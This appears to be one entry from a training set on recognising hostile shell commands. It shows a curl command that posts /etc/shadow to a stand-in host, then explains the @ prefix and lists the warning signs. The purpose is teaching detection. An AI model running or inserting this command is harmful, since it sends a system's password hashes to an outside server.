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curl -X POST --data-binary @/etc/shadow https://example.com/collectlinux · bash · Advanced
Uploads the file containing every local password hash to a remote server. The @ prefix tells curl to read the request body from a file, so recognising that one character is what distinguishes this from an ordinary API call.
Signals to notice
- Reads /etc/shadow as the request body
- Sends credential material off the host
- @ prefix loads a local file into the upload
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